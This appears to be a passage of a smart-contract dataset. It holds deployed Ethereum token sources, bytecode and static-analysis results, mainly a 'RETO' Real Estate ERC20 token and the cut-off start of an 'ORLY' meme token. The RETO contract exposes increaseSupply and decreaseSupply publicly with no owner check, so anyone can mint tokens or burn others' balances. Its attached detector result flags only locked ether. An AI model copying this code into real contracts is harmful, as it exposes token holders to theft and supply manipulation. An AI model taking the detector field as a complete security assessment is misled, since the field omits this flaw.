// < Vk07wp2L3GDCkXX53DRXlL3z2h4KiOCWzoDK74jlGh8Xxw4eA36ibZsw3jCK8hK2 >
// < u =="0.000000000000000001" : ] 000000787662393.209582000000000000 ; 000000816865648.459808000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E >
// < KELLNER_Portfolio_I_metadata_line_33_____CzechToll_20250515 >
// < L8bI4Hlk73H8ezT04mp01aVi60QnSvV967H288TV67k2WR773XwaNOTI96T493We >
// < u =="0.000000000000000001" : ] 000000816865648.459808000000000000 ; 000000853008109.273355000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 >
// < KELLNER_Portfolio_I_metadata_line_34_____SkyToll_20250515 >
// < 1AS7n652WZ78qnEbmHZGSPWMwyO3U1A121S95OTeDmRvhHnS8B9sGFB17074e85R >
// < u =="0.000000000000000001" : ] 000000853008109.273355000000000000 ; 000000869212017.813159000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 >
// < KELLNER_Portfolio_I_metadata_line_35_____Emma_Capital_20250515 >
// < 8nb511JJ1JNOE9ACrR2DhPjAwv67c5wJOiDDJ8Go4Bty03Y7DbFU6Om9Oz5pTR0C >
// < u =="0.000000000000000001" : ] 000000869212017.813159000000000000 ; 000000899099645.832971000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 >
// < KELLNER_Portfolio_I_metadata_line_36_____Emma_Alpha_20250515 >
// < A85B453pTrw5yeEeUyv05A185e92Ywd7103RrvOot9YTs9jVa5s1CypZtaPxgK3I >
// < u =="0.000000000000000001" : ] 000000899099645.832971000000000000 ; 000000924331151.589538000000000000 ] >
// < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 >
// < KELLNER_Portfolio_I_metadata_line_37_____Emma_Gamma_20250515 >
// < cvPGEhq5TR3R90sQo1rDoTPWwhNyg8eniC61hQ3y72PLZBuNOtV6fp3YiYPIDqi2 >
// < u =="0.000000000000000001" : ] 000000924331151.589538000000000000 ; 000000943514548.846949000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 >
// < KELLNER_Portfolio_I_metadata_line_38_____Emma_Delta_20250515 >
// < pE0YvaeM29u3rcnZfcLT2ezX1IRu3tBBxtC2Wu4h18Q1n0f0y5DoNM9op6O9nd2u >
// < u =="0.000000000000000001" : ] 000000943514548.846949000000000000 ; 000000962230488.157415000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 >
// < KELLNER_Portfolio_I_metadata_line_39_____Emma_Omega_20250515 >
// < T1HkhBTC8b4teSRFVG59x5S5BK7LI6IDOoVTM4oZXNJ5P1W0W834dcXo7E9Yv9nN >
// < u =="0.000000000000000001" : ] 000000962230488.157415000000000000 ; 000000987953811.345837000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 >
// < KELLNER_Portfolio_I_metadata_line_40_____Cymanco_Services_Limited_20250515 >
// < 2RYC8w4jiUGR2u3YzcqcubQZ2X88b6B76hP6MLuE68WUxsPAbpIknzraqW15lk40 >
// < u =="0.000000000000000001" : ] 000000987953811.345837000000000000 ; 000001014408848.180420000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 >
} | 0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820d025c89efbc6b28e5438c5f82bb3b560f52c474abd0b9175535d1a82972e3a240029 | {"success": true, "error": null, "results": {}} | 1,191 |
0xc4115913c4a0c730b1f36474397440df56ef03b5 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'RETO' token contract
//
// Deployed to : 0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1
// Symbol : RETO
// Name : Real Estate token
// Total supply: 8800000000000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function burn(uint256 _value) public returns (bool success);
function burnFrom(address _from, uint256 _value) public returns (bool success);
function increaseSupply(uint value, address to) public returns (bool success);
function decreaseSupply(uint value, address from) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed from, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract RealEstateToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RealEstateToken() public {
symbol = "RETO";
name = "Real Estate token";
decimals = 8;
_totalSupply = 8800000000000000;
balances[0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1] = _totalSupply;
emit Transfer(address(0), 0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function increaseSupply(uint value, address to) public returns (bool success) {
_totalSupply = safeAdd(_totalSupply, value);
balances[to] = safeAdd(balances[to], value);
emit Transfer(0, to, value);
return true;
}
function decreaseSupply(uint value, address from) public returns (bool success) {
balances[from] = safeSub(balances[from], value);
_totalSupply = safeSub(_totalSupply, value);
emit Transfer(from, 0, value);
return true;
}
} | 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d3578063124fc7e01461023857806318160ddd1461029d57806323b872dd146102c8578063313ce5671461034d5780633eaaf86b1461037e57806342966c68146103a957806370a08231146103ee57806379ba50971461044557806379cc67901461045c578063869e0e60146104c15780638da5cb5b1461052657806395d89b411461057d578063a293d1e81461060d578063a9059cbb14610658578063b5931f7c146106bd578063cae9ca5114610708578063d05c78da146107b3578063d4ee1d90146107fe578063dc39d06d14610855578063dd62ed3e146108ba578063e6cb901314610931578063f2fde38b1461097c575b600080fd5b34801561014f57600080fd5b506101586109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5d565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061028360048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4f565b604051808215151515815260200191505060405180910390f35b3480156102a957600080fd5b506102b2610c49565b6040518082815260200191505060405180910390f35b3480156102d457600080fd5b50610333600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c94565b604051808215151515815260200191505060405180910390f35b34801561035957600080fd5b50610362610f24565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038a57600080fd5b50610393610f37565b6040518082815260200191505060405180910390f35b3480156103b557600080fd5b506103d460048036038101908080359060200190929190505050610f3d565b604051808215151515815260200191505060405180910390f35b3480156103fa57600080fd5b5061042f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611041565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b5061045a61108a565b005b34801561046857600080fd5b506104a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611229565b604051808215151515815260200191505060405180910390f35b3480156104cd57600080fd5b5061050c60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611443565b604051808215151515815260200191505060405180910390f35b34801561053257600080fd5b5061053b61153d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058957600080fd5b50610592611562565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106426004803603810190808035906020019092919080359060200190929190505050611600565b6040518082815260200191505060405180910390f35b34801561066457600080fd5b506106a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061161c565b604051808215151515815260200191505060405180910390f35b3480156106c957600080fd5b506106f260048036038101908080359060200190929190803590602001909291905050506117a5565b6040518082815260200191505060405180910390f35b34801561071457600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506117c9565b604051808215151515815260200191505060405180910390f35b3480156107bf57600080fd5b506107e86004803603810190808035906020019092919080359060200190929190505050611a18565b6040518082815260200191505060405180910390f35b34801561080a57600080fd5b50610813611a49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086157600080fd5b506108a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a6f565b604051808215151515815260200191505060405180910390f35b3480156108c657600080fd5b5061091b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd3565b6040518082815260200191505060405180910390f35b34801561093d57600080fd5b506109666004803603810190808035906020019092919080359060200190929190505050611c5a565b6040518082815260200191505060405180910390f35b34801561098857600080fd5b506109bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c76565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610b5d60055484611c5a565b600581905550610bac600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c5a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610cdf600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da8600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e71600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c5a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f8d57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561127957600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561130457600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600061148e600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611600565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114dd60055484611600565b60058190555060008273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b505050505081565b600082821115151561161157600080fd5b818303905092915050565b6000611667600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611600565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f3600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c5a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156117b557600080fd5b81838115156117c057fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119a657808201518184015260208101905061198b565b50505050905090810190601f1680156119d35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156119f557600080fd5b505af1158015611a09573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611a385750818382811515611a3557fe5b04145b1515611a4357600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611acc57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b9057600080fd5b505af1158015611ba4573d6000803e3d6000fd5b505050506040513d6020811015611bba57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515611c7057600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e4224e28c979615be441ce34236b4cd9d4aacdd5da65b362ca1e5537bf2aba670029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,192 |
0xdf164a4b335830eb561d1de23e68fe3eb139f575 | /**
{o,o}
|)__)
-“-“-
O RLY?
$ORLY
Meme season is back in full swing boys
Stupid shit from back in the day
Low taxes
What more could you want?
Tg: @ORLYOwlToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
